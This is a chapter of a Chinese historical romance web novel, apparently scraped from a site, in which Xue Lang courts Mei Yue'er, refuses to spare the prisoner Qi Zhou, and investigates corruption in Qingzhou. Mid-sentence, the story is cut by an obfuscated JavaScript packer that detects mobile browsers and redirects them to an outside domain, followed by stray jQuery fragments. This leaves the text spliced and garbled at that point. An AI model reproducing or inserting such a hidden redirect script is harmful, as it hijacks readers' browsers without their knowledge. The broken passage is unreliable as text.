窗外蝉鸣渐弱，他衣衫上浸透的水墨香也染了一缕酒意。


    梅月儿一开始只是伏肩低泣，随后哭得厉害些，扯着薛琅的衣袖擦泪。眼睛、鼻子，耳朵，哪里都是红彤彤的，醉态交织着泪痕，眼睫黏成乌黑的几簇。


    半晌，她不哭了，忽然要推开他。


    薛琅紧搂住她的腰，目不转睛地盯着她，不肯松手，鬼使神差地对她道：“月儿要离开我吗？”


    梅月儿蹙眉，反应不过来。薛琅又开口，这次换了她喜欢叫的称呼：“要抛下哥哥吗？”


    她果然粘过来，好似两人是天造地设的一对儿。薛琅厌弃自己的卑鄙，趁人之危，欺负她醉了，却又为怀中斜倚过来的重量呼吸微滞。


    月儿仰着脸，呆望着他。薛琅取出手帕给她擦泪，浓郁的水墨气息挟着一丝绸缎的冷，轻轻沾惹她绯红的眼尾。


    他的手停顿了一下，低头，亲吻她黛色的眉。月儿向一侧躲了躲，他的唇随之轻落在她热烫的眼角，这股透骨的温度，几乎让薛琅想紧接着吻她的唇。


    梅月儿却靠着他睡着了，将这个错位的吻抛到脑后。


    薛琅贪看了片刻，将她抱起来放回到榻上。一回生二回熟，他这次可要理智多了——替她卸了首饰，擦了脸和手，照顾得十分妥帖。


    这一次，仍要解开两人纠缠的衣带。薛琅动手的动作慢了许多，舍不得走，指腹碾动着梅月儿裙上的细带，他将这片细细的布料握在掌中，就仿佛也紧握着她一样。


    夜里的鸟雀叫了一声，时间实在太晚了，再不回去，恐怕耽误他要处理的公务。薛琅这才松开手，在心中不免庆幸地想：


    月儿想要的富贵荣华，还好他有。


    -


    次日，梅月儿头痛了整整一个上午才好，把昨天的事儿忘了个精光。


    但也不知道为什么，自这日后，薛琅总是三不五时地送她东西。他总是不太熟练地说个借口，好像他家里有数不完的亲戚要送礼，总能剩下来一些给她。


    梅月儿每次都笑吟吟地听着，漂亮的眼睛弯成新月。她也不说破，只是托着下颔，眸光晶亮地看着他，拉长调说：“噢——又有好东西呀，怀瑾哥哥，你别把自己家里搬空了。”


    皇家，自然是搬不空的，除非这天下也跟着一起空了。


    薛琅住了口，有些尴尬，他偏过头去，却总能感觉到月儿望着他笑，不知道是笑话他借口拙劣，还是笑他春心萌动。


    这么好上手的男人，是不是不太值钱？是不是不太体面？


    他好担心，担心自己太忘情，月儿腻了，转头便把自己抛在脑后，另寻佳偶……要是金银财宝堆成山就能留住她，给一座东宫又何妨？


    他想着这些的时候，梅月儿早就把金银细软都装到妆奁里。她买了一个桃木妆奁，小巧精致，里面全是薛琅送她的首饰头面，还有几张看不懂字的纸。


    她虽然识字渐多，但看不懂契书。相似的东西，梅月儿只见过身契和当票。她不知道这薄薄的、盖了公文的纸张，是寸土寸金的玉京里上好的产业，每年的进项令人咋舌。


    梅月儿把契书压进箱底，收获颇丰，她却还依旧做绣活儿，跟玉芳姐还很亲热。只是私底下换了一些银子，偷送到她家里，瞒着玉芳让她家人收了，好给她娘治病。


    兄长对她越来越好，唯独有一样，只要她一提起，薛琅便会沉沉地望着她，让人猜想不透他在想什么……最后只是淡淡地说：“你不要管他。”


    就是为齐骤求情之事。


    虽然他已经被押送离开，但梅月儿猜到，他的罪名是由兄长定的，要是哥哥愿意不追究、修书一封，说不定就会大有转机。


    但薛琅不肯。他难得拒绝她的请求，那双端正清肃的剑眉拧紧，眼眸微凉，像渐渐消融的一抹霜。


    他语声淡淡：“为什么对他这么上心？你从前并不认识他。”


    梅月儿扯一扯他的衣角，绞尽脑汁：“他……”


    “他是罪犯。”薛琅平静道，“他十恶不赦，是个贼。你也要待他好么，连他要害我也不顾？”


    说到此言，薛琅便在袖下使力攥住掌心，迫使自己别流露出在意的神色。


    梅月儿内疚地住了口。她也知道这是强人所难，却难免叹息：“齐观静没有害我，还帮了我重要的事……”


    她的手臂猛地被捉住，一道轻纱，传递着他掌心忐忑滚烫的温度。薛琅忽地逼近，一字一句问她：“齐观静？你知道他的字？”


    他变了脸色，无人不惧。但月儿却一意孤行地认为她是自己的亲兄长，神色自若，恃宠般地低柔道：“哥哥，用力得痛了——”


    薛琅豁然松手，指尖悬在半空，局促地、惭愧地轻轻整理她的衣衫，尽力让语气变温和：“月儿，你别信他。他接近你，是对你别有所谋。”


    梅月儿扬起眉，故意道：“天杀的齐观静，竟然居心叵测，骗了我好多吃食。哥哥，咱们大户人家，不跟他计较，好不好？”


    她还是求情，薛琅却舍不得生气。


    她的发髻上簪着美丽的珠翠，穿着千金小姐才能穿得起的绫罗绸缎，这样尊贵、漂亮。他喜欢极了，他要月儿更加娇贵傲慢些，有撒不完的娇，一辈子他都哄她。


    所以，月儿一提起齐骤，薛琅就嫉妒得过头。他怕梅月儿真的喜欢一个死囚，他怕月儿荆钗布裙、漂泊无依。


    薛琅不答应，那双温柔的眼睛微微结冰，他道：“月儿再说下去，我非要杀了他不可。”


    这是梅月儿第一次从他口中听到这么冰冷、逼出一丝凛冽杀气的话语。


    她一时惊住，兄长却又收敛目光，扶正她鬓边流苏，轻声道：“别害怕。”


    他似乎还是那个他。


    这日以后，梅月儿果然不再提起。她也着实没有办法，没想到兄长那样通情达理的一个人，在这件事上格外冷峻。


    五月十四，梅月儿随兄长离开了青州牧的府中。甘容老大人爬起来相送，对着梅月儿使眼色，她不理，狐假虎威地站在薛琅身后，掐着腰，一个正眼也不给。


    薛琅心知肚明，在心中忍不住笑。


    他和王彻调查的贪污证据已经很充足，但还需要前往青州下辖的几个郡县，亲眼去看一看民生，体会一下悬在百姓头顶上的酷刑与苛政。


    若不能体恤疾苦，垂悯苍生，那他的位高权重，也只是一个错而已。


    离开寻青园之前，月儿把换出来的钱分给了照顾过自己的侍女、指点过自己的女待诏……还有云娘，她知道云娘出身困苦，她能在府中立得住、得夫人赏识，也实在不容易。


    云娘知道她一手好琵琶，有意送


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424796|184419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她一把新的。梅月儿却摇头婉拒，央请她照顾师父的坟冢。云娘连连答应，姐妹俩叙了会儿话，方才洒泪道别。


    接下来的一个多月里，梅月儿跟着薛琅辗转各个郡县。


    薛琅和王彻议事的那个书房，月儿终于来去自如。在两人深夜看账簿、查税收、查贪污时……她仗着自己新学会的字不少，偶尔会偷看几眼。


    大多数时候，她只是在旁边研磨、挑灯，红袖添香。


    这么一个多月下来，她大约知道——兄长和王公子，是奉皇帝命、暗中查访的使者。


    那他们两人一定是陛下的近臣。梅月儿在心中暗想。


    她跟着薛琅长了不少见识，大多数时候，她从旁聆听，边学边点头；偶尔，她也会反客为主，在马车边、田垄旁，告诉薛琅粟麦之别、稻桑之分。


    梅月儿出身寒微，见惯市井中食不果腹、饿死街头的人，正是这样，月儿看到兄长为了天下农桑而写下惠民之策时，她发自内心地感受到——


    哥哥是个好人。


    不管家中究竟做下什么滔天罪恶，这一定跟兄长没有干系。她相信他。


    六月末，梅月儿跟他一起到了齐郡。


    这是青州下辖最偏僻、最穷困的一个地方，也是薛琅此行的终点，在这里办完最后的事情，他就该启程回京。


    抵达当夜，一个消息快马加鞭地赶来。薛琅从使者手中取出书信，撕开封泥，沉默地看了半晌。


    王彻侧首询问：“什么事？”


    “囚车在京畿附近被劫。”薛琅平淡道，“押送的侍卫伤了数人。”


    “京畿！”王彻震惊地重复了一声，“不到两个月，从青州押回玉京，脚程不算慢。为何到了京畿反而出事！”


    薛琅抬眸淡淡地看了他一眼，王彻倏地醒悟：“是到了周灼的地界？……他也太过分了！竟然做这种事！”


    “周曜云党羽无数，即便不是他所为，想要在京畿附近做成此事，也要他的首肯。”薛琅仍称呼周灼的字，没有动怒，充满耐心地抬手将信纸烧掉，火焰卷上纸张，“他居然涉险，管天道庄的人。”


    “谁知道。”王彻推测道，“周灼是陛下的绣衣御史，持节杖，代行皇权。而天道庄尽是反贼，难道陛下的宠信之臣，会跟刺杀你的那群人有勾连吗？”


    王彻自己也觉得荒谬，打趣了一句：“皇后陛下把后宫清理得空空荡荡，杀得片甲不留，除了你，哪还有储君人选？周灼也没有跟反贼勾结的理由啊！”


    薛琅兀自沉思，信纸在他手中烧成灰烬，火舌快要舔舐到他的指腹，他听到王彻控制不住放大的音量，忽然抬首。


    王彻见他反应，道：“有什么高论？我洗耳恭听。”


    薛琅不语，只是起身走了几步，撩起珠帘。帘后，练字写课业的梅月儿伏案小睡，香梦沉酣。


    他解下外袍，披在月儿肩上，随后返回，对王彻做了个噤声的动作，轻道：“别吵醒她。”


    王彻：“……”


    他好想拍案而起，拂袖而去！


    足足半刻钟，他愣是一句话也说不出来。薛琅跟他商议正事，他木头一样，许久才从牙缝里挤出来一句：“薛、怀、瑾。”


    “嗯？”


    “我都想跟反贼勾结。”王彻咬牙道，“你真是太善变了！”